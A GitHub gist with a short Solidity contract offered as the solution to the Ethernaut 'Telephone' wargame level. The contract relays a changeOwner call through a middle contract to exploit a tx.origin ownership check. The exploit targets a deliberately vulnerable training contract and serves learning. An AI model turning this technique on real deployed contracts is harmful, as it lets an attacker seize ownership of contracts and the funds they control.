Skip to content

Instantly share code, notes, and snippets.

@Chirag21
Last active December 14, 2022 21:47
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Chirag21/68c72b49964cd3ddae71aab96f293939 to your computer and use it in GitHub Desktop.
Save Chirag21/68c72b49964cd3ddae71aab96f293939 to your computer and use it in GitHub Desktop.
Solution for Ethernaut Level 4 - Telephone. For Remix IDE
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
interface ITelephone {
function changeOwner(address) external;
}
contract TelephoneHack {
ITelephone private telephone;
// Pass the instance address to the constructor
constructor(address _telephone) {
telephone = ITelephone(_telephone);
}
function changeOwner(address newOwner) external {
telephone.changeOwner(newOwner);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment